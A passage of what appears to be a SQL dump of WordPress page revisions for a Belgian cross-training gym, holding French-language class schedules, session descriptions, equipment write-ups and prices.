underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:27:23', '2013-07-04 16:27:23', '', 11, 'http://www.crosstrainingcenter.be/?p=281', 0, 'revision', '', 0),
(282, 1, '2013-07-04 16:28:48', '2013-07-04 16:28:48', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&amp;nbsp;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:28:48', '2013-07-04 16:28:48', '', 11, 'http://www.crosstrainingcenter.be/?p=282', 0, 'revision', '', 0),
(285, 1, '2013-07-04 16:34:15', '2013-07-04 16:34:15', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 16:34:15', '2013-07-04 16:34:15', '', 11, 'http://www.crosstrainingcenter.be/?p=285', 0, 'revision', '', 0),
(283, 1, '2013-07-03 20:45:06', '2013-07-03 20:45:06', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebel&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
